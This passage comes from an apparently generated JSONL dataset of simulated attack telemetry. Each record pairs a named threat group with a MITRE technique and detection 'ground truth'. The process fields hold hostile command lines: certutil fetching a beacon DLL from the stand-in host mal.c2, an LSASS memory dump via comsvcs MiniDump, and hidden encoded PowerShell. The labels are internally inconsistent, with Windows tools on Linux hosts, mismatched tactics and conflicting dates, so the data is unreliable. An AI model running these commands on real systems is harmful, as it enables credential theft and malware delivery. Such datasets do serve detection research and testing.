beacon.dll","name":"cmstp.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-11-02T04:11:00.000Z","user":{"name":"i-rzq00hn797f4","sid":"S-1-5-21-981837212-374768388-1904"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Lateral Movement","Persistence","Initial Access"],"technique_id":"T1003.001"},"event_id":"evt_lapsus_20260727T010148000Z_0003449","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.234.52.78","name":"WIN-FIN-SRV-41AKEEINLU","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3449Lapsus$T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.111.172.73","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-10-24T10:32:10.000Z","user":{"name":"azuread\\8e8tzlb1r47i","sid":"S-1-5-21-909057726-968212135-2688"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Discovery","Defense Evasion","Persistence"],"technique_id":"T1566.001"},"event_id":"evt_apt41_20260916T190107000Z_0003451","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.112.191.41","name":"AZURE-VM-XK15YVMGDR","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3451APT41T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.114.41.190","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-11-18T10:34:06.000Z","user":{"name":"svc_hoswovgmfox1","sid":"S-1-5-21-220137720-661052835-4753"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Exfiltration","Persistence"],"technique_id":"T1566.001"},"event_id":"evt_mustangpanda_20260625T193848000Z_0003453","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.133.43.89","name":"WIN-FIN-SRV-7MP9FP6PY4","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3453Mustang PandaT1566.001"},"network":{"domain":"github.com","dst_ip":"1.65.31.46","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-11-07T10:46:28.000Z","user":{"name":"azuread\\b83zxc5zw3qt","sid":"S-1-5-21-948131136-323116238-7677"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Defense Evasion","Initial Access","Persistence"],"technique_id":"T1003.001"},"event_id":"evt_unc4841_20261212T104911000Z_0003455","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.157.167.47","name":"WIN-FIN-SRV-M182A81SQD","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3455UNC4841T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.118.202.70","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2835 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-08-28T16:24:45.000Z","user":{"name":"arn:aws:iam::4ubyycaq0123","sid":"S-1-5-21-396256625-525425698-6774"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Initial Access"],"technique_id":"T1098.004"},"event_id":"evt_scatteredspider_20250316T110139000Z_0003457","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.175.218.8","name":"APP-WEB-LI4HJ1IKSQ","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3457Scattered SpiderT1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.96.147.13","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-05-01T13:48:42.000Z","user":{"name":"arn:aws:iam::z4hlk3rkah4w","sid":"S-1-5-21-264976686-504168125-6263"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Command and Control","Credential Access","Discovery"],"technique_id":"T1566.001"},"event_id":"evt_scatteredspider_20250824T101254000Z_0003459","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.85.198.80","name":"IAM-ROLE-JZ3470K7D2","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3459Scattered SpiderT1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.150.53.160","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-11-13T07:36:23.000Z","user":{"name":"CORP\\ay0gfb83thyq","sid":"S-1-5-21-744021272-889164572-7128"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Command and Control"],"technique_id":"T1531"},"event_id":"evt_lapsus_20260309T110157000Z_0003461","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Base64","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.76.175.181","name":"APP-WEB-JHSX73V992","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3461Lapsus$T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.186.102.250","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2026-01-14T17:34:01.000Z","user":{"name":"azuread\\8scfm7hg9ak3","sid":"S-1-5-21-988747958-214005234-3342"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Execution","Defense Evasion","Lateral Movement"],"technique_id":"T1071.001"},"event_id":"evt_lapsus_20261025T215920000Z_0003463","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.186.104.154","name":"IAM-ROLE-4FIJ9F71IU","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3463Lapsus$T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.155.95.199","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3779 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-03-06T02:08:38.000Z","user":{"name":"arn:aws:iam::psfnaf9c48ux","sid":"S-1-5-21-761866044-480593972-3207"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Persistence"],"technique_id":"T1484.001"},"event_id":"evt_scatteredspider_20260204T160042000Z_0003465","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.234.159.55","name":"DB-ORACLE-LLMB11OTX5","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3465Scattered SpiderT1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.57.233.79","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-11-09T00:36:41.000Z","user":{"name":"svc_in2qq82rphze","sid":"S-1-5-21-239145344-252195614-4050"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Persistence","Discovery","Exfiltration"],"technique_id":"T1531"},"event_id":"evt_apt29_20260217T031814000Z_0003467","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.55.105.136","name":"DB-ORACLE-L7F3PO5XVE","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3467APT29T1531"},"network":{"domain":"github.com","dst_ip":"1.161.156.144","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1053 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-07-14T21:11:38.000Z","user":{"name":"svc_5f6zecq4nykr","sid":"S-1-5-21-261618457-949226344-6943"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Lateral Movement"],"technique_id":"T1531"},"event_id":"evt_apt41_20260520T074211000Z_0003469","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.91.85.84","name":"AZURE-VM-UG2UM76WMR","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3469APT41T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.78.192.112","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-12-09T19:43:28.000Z","user":{"name":"CORP\\5k7tlsey01s0","sid":"S-1-5-21-450971781-972123165-9442"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Privilege Escalation","Discovery"],"technique_id":"T1059.001"},"event_id":"evt_lapsus_20250524T154701000Z_0003471","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.79.52.112","name":"DB-ORACLE-8A4L9GWM66","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3471Lapsus$T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.78.40.47","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2134 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-02-27T01:17:13.000Z","user":{"name":"azuread\\d3soulzrhyia","sid":"S-1-5-21-426447055-696384713-9823"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Discovery","Lateral Movement"],"technique_id":"T1021.006"},"event_id":"evt_volttyphoon_20260527T171721000Z_0003473","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.14.75.77","name":"AZURE-VM-F6ZSTH9TAA","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3473Volt TyphoonT1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.140.249.86","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-02-11T06:27:55.000Z","user":{"name":"CORP\\agihopckd3qo","sid":"S-1-5-21-726767782-334246606-8023"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Collection","Impact"],"technique_id":"T1546.003"},"event_id":"evt_apt29_20251018T091839000Z_0003475","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.73.116.64","name":"DB-ORACLE-N1WGAITV1V","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3475APT29T1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.73.250.218","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-07-20T18:22:20.000Z","user":{"name":"CORP\\3ghoxo2et225","sid":"S-1-5-21-955572734-850267019-2123"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Lateral Movement"],"technique_id":"T1098.004"},"event_id":"evt_volttyphoon_20261229T133058000Z_0003477","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Base64","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.150.79.134","name":"IAM-ROLE-PPKUXJ198C","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3477Volt TyphoonT1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.146.100.249","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-08-03T14:08:57.000Z","user":{"name":"svc_xhtfzwzin8q6","sid":"S-1-5-21-155519418-369605747-1984"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Defense Evasion"],"technique_id":"T1566.001"},"event_id":"evt_unc4841_20250211T060718000Z_0003479","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.145.209.231","name":"AZURE-VM-ZQRCGQ36LG","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3479UNC4841T1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.117.164.170","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-05-09T03:37:39.000Z","user":{"name":"arn:aws:iam::y7sk5ilkxk8f","sid":"S-1-5-21-104412735-636757499-6825"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Defense Evasion","Discovery"],"technique_id":"T1484.001"},"event_id":"evt_volttyphoon_20250115T120202000Z_0003481","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.134.118.67","name":"WIN-FIN-SRV-VN45NDTAOY","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3481Volt TyphoonT1484.001"},"network":{"domain":"github.com","dst_ip":"1.38.252.175","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-02-21T01:06:41.000Z","user":{"name":"svc_p6do0bghri41","sid":"S-1-5-21-388721884-511226743-3367"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Collection","Privilege Escalation","Command and Control"],"technique_id":"T1570"},"event_id":"evt_unc4841_20251205T151944000Z_0003483","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.183.40.52","name":"IAM-ROLE-F7V8MDFY18","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3483UNC4841T1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.59.236.94","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2914 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-09-10T12:35:53.000Z","user":{"name":"i-t00ps0q84sln","sid":"S-1-5-21-816390157-849412190-6065"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Impact","Execution","Initial Access"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20250521T180548000Z_0003485","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.166.83.186","name":"EC2-INST-AO1N5RMM66","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3485APT41T1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.137.27.148","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2611 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-07-11T19:56:36.000Z","user":{"name":"arn:aws:iam::2xgmm2fzt8sm","sid":"S-1-5-21-412314139-645662658-7859"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Collection"],"technique_id":"T1484.001"},"event_id":"evt_lapsus_20250531T182529000Z_0003487","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.199.99.203","name":"WIN-FIN-SRV-MTA5ADIZWN","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3487Lapsus$T1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.123.57.38","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2855 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-12-10T23:56:15.000Z","user":{"name":"arn:aws:iam::uhfsmhvrx01e","sid":"S-1-5-21-793631527-213024915-3468"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Impact","Discovery","Collection"],"technique_id":"T1531"},"event_id":"evt_apt29_20250607T171211000Z_0003489","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.117.145.229","name":"WIN-FIN-SRV-ESA05MVSRU","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3489APT29T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.144.97.92","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3366 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-10-09T22:56:09.000Z","user":{"name":"CORP\\lp6r5rq5sq8u","sid":"S-1-5-21-747050206-648768788-5346"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Impact","Reconnaissance"],"technique_id":"T1021.006"},"event_id":"evt_unc4841_20261117T165631000Z_0003491","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Base64","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.132.17.215","name":"APP-WEB-DWZXP5AEHM","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3491UNC4841T1021.006"},"network":{"domain":"github.com","dst_ip":"1.52.3.47","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 625 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-06-25T13:23:11.000Z","user":{"name":"arn:aws:iam::d9a8lv6mn37e","sid":"S-1-5-21-976345830-306888078-5601"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Persistence","Impact"],"technique_id":"T1003.001"},"event_id":"evt_apt29_20260605T155210000Z_0003493","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["WMI","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.61.155.59","name":"DB-ORACLE-LVFFHWRVSQ","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3493APT29T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.7.25.192","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1898 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2025-01-15T00:35:21.000Z","user":{"name":"azuread\\grpnddadgni9","sid":"S-1-5-21-219590543-116442083-7822"}}
